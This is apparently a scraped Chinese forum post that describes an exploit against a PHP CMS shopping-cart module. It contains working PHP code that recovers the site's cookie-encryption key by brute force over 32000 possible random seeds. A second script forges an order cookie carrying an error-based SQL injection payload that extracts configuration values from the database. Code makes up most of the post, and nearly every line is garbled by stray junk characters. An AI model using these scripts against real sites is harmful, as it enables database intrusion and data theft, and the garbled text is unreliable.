www.xxx.com/plus/search.php?keyword=
& c0 h. S5 ]0 G" _7 \, q" q1 u1 P在 include/shopcar.class.php中: e, m# p- y" H. Z
先看一下这个shopcar类是如何生成cookie的
1 l7 V$ i1 u4 `+ F# M* Y, N) |239 function saveCookie($key,$value)
- C. y& ?, A# n: I240 {& U T. k6 X7 A; N- ~
241 if(is_array($value))
8 g5 U; R) P3 K: f$ r242 {3 n, z1 V# n- U/ i: x
243 $value = $this->enCrypt($this->enCode($value));
3 E3 Q: G: t# d* H- a' Q244 }) x9 F7 } r$ m( G/ [
245 else0 C8 D2 z9 l/ |: p: q
246 {1 }0 q& ~* ]0 c" `: W/ {
247 $value = $this->enCrypt($value);
5 H' u; r! C ]# _& k& a& |( f248 }
7 t" V8 y" K3 b+ |249 setcookie($key,$value,time()+36000,’/');! z) x2 g" P1 W# ~
250 }- z/ R4 m1 a3 d A2 j; T
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数4 F0 E4 }, {+ H6 f) ^1 |) p
186 function enCrypt($txt)
5 Q1 f1 G: |# Y, U! |+ i187 {0 h- k2 D" P4 P5 f
188 srand((double)microtime() * 1000000);; j+ ^/ z" m% Y- A9 @
189 $encrypt_key = md5(rand(0, 32000));* k' I( t! h, m: `9 y6 w
190 $ctr = 0;
# I3 G; A6 _( {* o& @191 $tmp = ”;
" M }8 V: t" w% p192 for($i = 0; $i < strlen($txt); $i++)& n9 D9 W% l: R, y
193 {5 Y* r; D" q) L5 L
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;9 v" w, a: F8 N. d" o1 X: J1 c
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);) P- g4 E2 G8 _: V. n n/ ^
196 }, z! k+ `2 a' z0 ~. Q D& {4 i5 C
197 return base64_encode($this->setKey($tmp));( A2 c! I% t% L" g: C& y0 [/ S; r
198 }
. T* y' B0 K$ O, G; X8 m7 J- Z' ]213 function setKey($txt)
8 H9 P' {2 z7 P! D& a" N214 {
$ `; U! U' |) F1 c215 global $cfg_cookie_encode;
# H& X6 Y( C) l9 h- Y' l216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
! a0 I! k( O* l1 J217 $ctr = 0;
$ A9 Q0 Q5 K# b: o- Y8 z3 m218 $tmp = ”;& j! V( v& K- T% z0 W5 G# i f
219 for($i = 0; $i < strlen($txt); $i++). w4 O3 f( J6 ]9 E; z! N
220 {; A& V# U% ]# | c
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;9 h$ F* I0 ]/ h5 L. \( }# W' ~
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
/ W! \2 d7 m3 L* ~5 P4 E& ?223 }9 t0 P, W! c8 l
224 return $tmp;
# p, R6 g; T( j4 w" s& N225 }9 m8 ^! F8 n, w: Z
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的# e; l. F+ ~8 Y+ D9 d: \2 \
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。& H+ @4 ]! a, D2 e; Q3 D5 t
具体代码如下: U. P- b8 y( M+ p+ |5 n
<?php1 E$ r5 N/ x, K. c3 }
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here$ x" V1 A, v% Y" N
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here9 _, N1 B4 K1 k5 D3 ^
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here) z3 ^+ ~2 A8 [8 o2 V( \ @
function reStrCode($code,$string)
/ _1 p3 ~2 K( F0 e4 {/ N{
+ O: V% k9 Z5 L" g4 Y$code = base64_decode($code);( |5 O; L! m' s; O7 \
$key = “”;
) d8 S+ m( O4 \! e2 afor($i=0 ; $i<32 ; $i++)0 {' Q% @ N" |1 K. N
{
: x- ?3 D& b' w( c5 E6 U$key .= $string[$i] ^ $code[$i];
9 f7 j' t% S+ _ U, X( J3 X6 O/ \6 z}. l* | U$ d4 [2 P; `7 [" S
return $key;( X7 e2 d( f+ B# N# ]" p
}
R/ s, w3 [% m- [: Dfunction getKeys($cookie,$plantxt)
3 O) T! C$ d: Z" e{9 w; T2 H* i( F& `& U
$tmp = $cookie;
2 ^- }" ?5 K5 u) e M& A( y$results = array();! s6 m% D+ U/ P1 A! E4 l
for($j=0 ; $j < 32000; $j++)& Y5 s t/ Y8 E- x" d7 h
{
2 r* M8 |8 o8 F% u9 {. R7 m
, F7 ^0 h; ^( h6 a, w$txt = $plantxt;% n' A' E1 q2 ~) Z
$ctr = 0;( F1 {: H5 h( J
$tmp = ”;
. } O. j; `/ \; L8 q- Q* k% x* B$encrypt_key = md5($j);9 y7 d$ N0 A I2 @* R' K9 q
for($i =0; $i < strlen($txt); $i ++)! o7 I3 P& |3 \0 Y
{& b( R. O3 }9 F& x& ]5 Y6 `/ ^
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
+ x/ A6 y6 @! h- Z/ K( z- t3 c6 M! ]$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);) m) E' M3 i0 z4 ?3 a! d
}1 A, {" i' [$ v- D7 q
$string = $tmp;/ G1 ~8 q1 z( `. I
$code = $cookie;) d, Q+ D0 Y, ]) v/ h
$result = reStrCode($code,$string);
- m! U8 ~6 v9 ^- b# k4 mif(eregi(‘^[a-z0-9]+$’,$result))
! c2 l- Y+ b z5 y- R- R9 h{
# ^) M" \( i3 jecho $result.”\n”;
* T, L W7 W* Y0 C% {, C$results[] = $result;6 v' O4 ~( c, @* [/ X7 f. m, I5 f
}
( t& T0 U8 w) T6 G}6 T, g Y4 I: ^; {6 n3 ?& l
return $results;
+ r- G1 ]- g1 U" I% `8 A9 h0 A3 H}- t6 R/ x; L) U# t% W2 S
$results1 = getKeys($cookie1,$plantxt);+ L7 f$ g+ s* Z4 L. F
$results2 = getKeys($cookie2,$plantxt);; J: ^4 }- n+ B5 h6 C
print “\n——————–real key————————–\n”;4 Q! N7 H3 z, S7 \. V
foreach($results1 as $test1)2 u; V0 k0 @% g. T$ k$ s" N4 q( _+ _# S# u
{
8 t/ p n' F. d0 Gforeach($results2 as $test2)2 G: ^9 z z8 F& _( X4 M) ^# E6 y
{
0 R( N% X2 e/ Dif($test1 == $test2)
, Y+ y _* c0 L& K, \2 w1 G" h X{: Z8 }3 T: d+ y
echo $test1.”\n”;
8 ?* n( @! o1 Q# }" v+ t0 c}* W6 [6 K; I C, S9 v, I: g
}9 E* @" M9 ^7 a5 ?/ a5 G
}4 t/ Z1 [% y( p" Y
?>+ w9 ?- v% b8 p; {5 A
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,# O f4 x& M; A; s+ @, Y
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1' A5 }' ~! o& V7 P2 t% i' z- N- o- ]
然后推算出md5(strtolower($cfg_cookie_encode))
: c4 w2 ^/ b4 P5 h, K9 c得到这个key之后,我们就可以构造任意购物车的cookie
& K# U9 Y# K( Y+ ^6 ^接着看
! Q x P' Z) W: q; i; K20 class MemberShops
& a6 S0 y2 S$ C+ X) U21 {
" M2 d2 s" D5 a22 var $OrdersId;
" `# t' t2 C, D, X23 var $productsId;
' E8 Z+ ]5 G4 W24
' l1 K5 b1 b" a/ R% U25 function __construct()# U! b8 f: B$ s, W
26 {
/ |3 {* k9 J' C. B1 m9 C0 ?27 $this->OrdersId = $this->getCookie(“OrdersId”);$ G- U7 l' N- B/ k8 \/ G8 e
28 if(empty($this->OrdersId))3 a8 B* N; f9 e$ a
29 {2 L8 U% D( u& p, A
30 $this->OrdersId = $this->MakeOrders();/ p* C: O3 h% T$ D5 e
31 }( D9 _3 n4 f7 ], @$ w5 T' f% \
32 }. q9 S- V. c7 o+ Z
发现OrderId是从cookie里面获取的
- h# K# T1 G8 E6 g然后
! ?: J: g4 B) b I0 Q8 J/plus/carbuyaction.php中的
" w8 m U2 L0 F! ?29 $cart = new MemberShops();
& t+ i; \; F/ f# U. `39 $OrdersId = $cart->OrdersId; //本次记录的订单号. F E' f* d/ _ ]
……% s; I* o6 b0 {$ n h
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);: X' \# a; T! W2 a% f
接着我们就可以注入了
& \/ p N+ x$ n& R* g& K通过利用下面代码生成cookie:6 E q B" F9 q2 I
<?php" s \) Q5 o, c& {" b7 M( P6 g
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
. b2 w- W- ^$ n$ ^$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
a5 \8 C# S- L/ pfunction setKey($txt)4 ?$ C2 M6 v1 Z9 e
{
* j" `' o7 @3 N: Oglobal $encrypt_key;
$ @1 _9 O. c$ F& ?( k, y$ctr = 0;. h, I& E# B k
$tmp = ”;# y0 e% E3 i( q8 R$ |6 g7 v
for($i = 0; $i < strlen($txt); $i++)2 N, J/ f" [9 [5 P. `9 o0 r P: m
{
4 K2 f. ?3 i# y. |' L$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
( l4 O. ]3 Y4 ]$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
3 H7 G! r. R' e; m) f+ C9 l( N8 ^ U}0 z, R) `4 ]' V2 r2 T o' O' l6 t
return $tmp;
+ o% |% t+ v7 [) J& s}
, L7 d, Z, W# c' v- m7 ^function enCrypt($txt)9 E' B1 }6 Z6 L0 `* L9 w
{
5 C0 ^7 @$ W8 r( m; tsrand((double)microtime() * 1000000);
9 [; _/ M8 O) ~: ]# p2 D _$encrypt_key = md5(rand(0, 32000));5 |( q9 J4 h1 A3 w. M
$ctr = 0;: N0 b- `9 ^+ o- y
$tmp = ”;" k0 b! W% I5 ]5 V, K
for($i = 0; $i < strlen($txt); $i++)
/ m1 ?$ j; R& h" O+ l{
+ t1 a/ K9 {$ t8 A1 e' E$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;# h! g9 o Y7 r' f6 P# z
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
. D" d7 j: w# W}3 Y1 d$ G' b9 k9 z; g( C
return base64_encode(setKey($tmp));
5 [- N+ `3 ~& R c. y1 {6 Q" t `}7 R' y4 r3 W% ]0 t
for($dest =0;$dest = enCrypt($txt);)( x' B$ p0 U* z9 \
{
, w9 N4 [2 W( f* n* m7 B# [if(!strpos($dest,’+'))5 `9 F4 e6 t5 P9 V4 H
{; e! O2 }4 h, l: E* z# V
break;# Z3 Q ?4 ^; Q, m$ e6 l
}
! p2 P, G4 x/ o2 D1 a7 Y) f0 P# e}
# ~. ~' _' w2 E/ Yecho $dest.”\n”;" d) ]( v# I: ?) \9 [
?>3 q p+ K8 @' d6 u
( H* M# I( t8 m" s( |( \6 g1 F
|